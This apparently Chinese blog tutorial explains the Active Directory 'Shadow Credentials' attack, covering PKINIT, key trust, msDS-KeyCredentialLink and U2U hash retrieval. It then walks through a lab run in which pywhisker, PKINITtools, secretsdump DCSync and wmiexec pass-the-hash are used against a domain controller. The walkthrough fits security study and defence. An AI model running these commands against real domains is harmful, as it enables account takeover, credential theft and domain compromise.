影子凭证 滥用密钥信任帐户映射进行帐户接管
什么是 PKINIT？
在 Kerberos 身份验证中，客户端必须在 KDC为其提供票证授予票证 (TGT) 之前执行“预验证”，该票证随后可用于获取服务票证。预认证的原因是，没有它，任何人都可以获得一个使用从客户端密码派生的密钥加密的user，并尝试离线破解它
客户端通过使用其凭据加密时间戳来执行预身份验证，以向 KDC 证明他们拥有该帐户的凭据。使用时间戳而不是静态值有助于防止重放攻击。
对称密钥（密钥）方法是使用最广泛和已知的一种方法，它使用从客户端密码（AKA 密钥）派生的对称密钥。如果使用 RC4 加密，此密钥将是客户端密码的 NT 哈希。KDC 拥有客户端密钥的副本，并且可以解密预认证数据以对客户端进行认证。KDC 使用相同的密钥来加密与 TGT 一起发送给客户端的会话密钥
PKINIT 是不太常见的非对称密钥（公钥）方法。客户端有一个公私钥对，并用他们的私钥对预认证数据进行加密，KDC 用客户端的公钥对其进行解密。
PKI允许KDC和客户端使用由双方先前已于证书颁发机构CA建立信任的数字证书交换公钥 这是证书信任模型
PKINIT 不可能在每个 Active Directory 环境中直接拿来使用 KDC 和客户端都需要一个公钥-私钥对。但是，如果环境有 AD CS 和 CA 可用，域控制器将默认自动获取证书。
如果没有PKI？
微软引入了密钥信任的概念以在不支持证书信任的环境中支持无密码身份验证，在 Key Trust 模型下，PKINIT 身份验证是基于原始密钥数据而不是证书建立的。
客户端的公钥存储在名为 msDS-KeyCredentialLink 的多值属性中，该属性在 Windows Server 2016 中引入。该属性的值是 Key Credentials
这种信任模型消除了使用无密码身份验证为每个人颁发客户端证书的需要。但是，域控制器仍需要用于会话密钥交换的证书
这意味着如果你写入用户的 msDS-KeyCredentialLink 属性，您可以获得该用户的 TGT。
在AD中修改此属性的权限的组成员账户:
1.企业管理员
2.企业密钥管理员
Windows Hello 企业版预配和身份验证
Windows Hello 企业版 支持多无密码身份验证(需要下载win10企业版)
当用户注册时 TPM 会为用户的帐户生成一个公钥-私钥对 如果在组织中实施了证书信任模型，则客户端发出证书请求，以从环境的证书颁发机构为 TPM 生成的密钥对获取受信任的证书 但是，如果实施 Key Trust 模型，则公钥将存储在帐户的 msDS-KeyCredentialLink 属性中的新 Key Credential 对象中。私钥受 PIN 码保护
当客户端登录时，Windows 会尝试使用其私钥执行 PKINIT 身份验证。在密钥信任模型下，域控制器可以使用存储在客户端 msDS-KeyCredentialLink 属性中的相应 NGC 对象中的原始公钥解密其预认证数据。在证书信任模型下，域控制器将验证客户端证书的信任链，然后使用其中的公钥。一旦预认证成功，域控制器可以通过 Diffie-Hellman 密钥交付或公钥加密密钥交付交换会话密钥。
如果使用NTLM身份验证会怎么样?
PKINIT 允许 WHfB 用户或更传统的智能卡用户执行 Kerberos 身份验证并获得 TGT。但是，如果他们需要访问需要 NTLM 身份验证的资源怎么办？为了解决这个问题，客户端可以在加密的 NTLMSUPPLEMENTALCREDENTIAL 实体的特权属性证书 (PAC) 中获取包含其 NTLM 哈希的特殊服务票证
PAC 存储在票证的加密部分中，票证使用为其颁发的服务的密钥进行加密。在 TGT 的情况下，票证使用 KRBTGT 帐户的密钥加密，用户不应该能够解密该密钥。要获得用户可以解密的票证，用户必须对自己执行 Kerberos 用户到用户 (U2U) 身份验证。当我第一次读到这个机制的 RFC 标题时，我想，“这是否意味着我们可以滥用这个机制来 Kerberoast 任何用户帐户？那一定好得令人难以置信”。确实是——考虑到了 Kerberoasting 的风险，U2U 服务票证是使用目标用户的会话密钥而不是他们的密钥加密的
这对 U2U 设计提出了另一个挑战——每次客户端验证并获得 TGT 时，都会生成一个新的会话密钥。此外，KDC 不维护活动会话密钥的存储库——它从客户端的票证中提取会话密钥。那么，KDC 在响应 U2U TGS-REQ 时应该使用什么会话密钥？解决方案是发送一个包含目标用户的 TGT 作为“附加票证”的 TGS-REQ。KDC 将从 TGT 的加密部分中提取会话密钥（因此不是真正完美的前向保密）并生成新的服务票证
因此，如果用户向自己请求 U2U 服务票证，他们将能够对其进行解密并访问 PAC 和 NTLM 哈希。
这意味着如果您可以写入用户的 msDS-KeyCredentialLink 属性，则可以检索该用户的 NT 哈希
环境要求:
Windows Server 2016 域控制器
Windows Server 2016 域控制器上安装ADCS证书服务
具有写入目标对象的msDS-KeyCredentialLink属性的账户
测试环境:
win2016(DC) 10.10.10.153 （并且安装了ADCS证书服务）
域:read.local
攻击机: 10.10.10.178
win10企业版: 10.10.10.150
具有写入msDS-KeyCredentialLink属性的账户: 账号 qiyeban 密码 Admin123..
我这里直接添加的企业管理员
工具下载地址:
https://github.com/ShutdownRepo/pywhisker
https://github.com/dirkjanm/PKINITtools
https://github.com/eladshamir/Whisker
我们来到win10企业版
生成证书和非对称密钥 并将此信息存储在msDS-KeyCredentialLink属性中
Whisker.exe add /target:w2016$
生成之后我们可以来到dc这里查看 可以看到这里已经设置成功了
python3 pywhisker.py -d "read.local" -u "qiyeban" -p "Admin123.." --target "w2016$" --action "list"
查询目标主机的msDS-KeyCredentialLink属性中的密钥对 我这里因为测试设置的比较多
python3 pywhisker.py -d "read.local" -u "qiyeban" -p "Admin123.." --target "w2016$" --action "info" --device-id 98a2e88c-cbbf-44aa-a081-fd09fc84643e
接下来进行攻击 生成的证书以pfx格式保存在本地 可以为机器账户授予票证
python3 pywhisker.py -d "read.local" -u "qiyeban" -p "Admin123.." --target "w2016$" --action "add" --filename w2016
这里的password是证书的密码 yANuz27WZliF4xRTmSTV
通过密钥分发中心 (KDC) 进行身份验证 申请TGT
python3 gettgtpkinit.py -cert-pfx w2016.pfx -pfx-pass yANuz27WZliF4xRTmSTV read.local/w2016$ w2016.ccache
使用 AS-REP 加密密钥，从 PAC 中检索机器帐户的 NTLM 哈希
export KRB5CCNAME=w2016.ccache python3 getnthash.py -key 2af61f88b01e94fc861280840396865fb170f1e061b07bc2b6d78ae995375bb4 read.local/w2016$
hash已经检索出来了 现在可以dcsync了
python3 secretsdump.py -hashes :56e3c3d1e4e952dbddcd149c692c2641 'read/w2016$@10.10.10.153' -just-dc-user krbtgt
通过检索的NTLMhash 然后可以使用wmiexec进行hash传递了
python3 secretsdump.py -hashes :56e3c3d1e4e952dbddcd149c692c2641 'read/w2016$@10.10.10.153' -just-dc-user Administrator
python3 wmiexec.py -hashes :42e2656ec24331269f82160ff5962387 Administrator@10.10.10.153
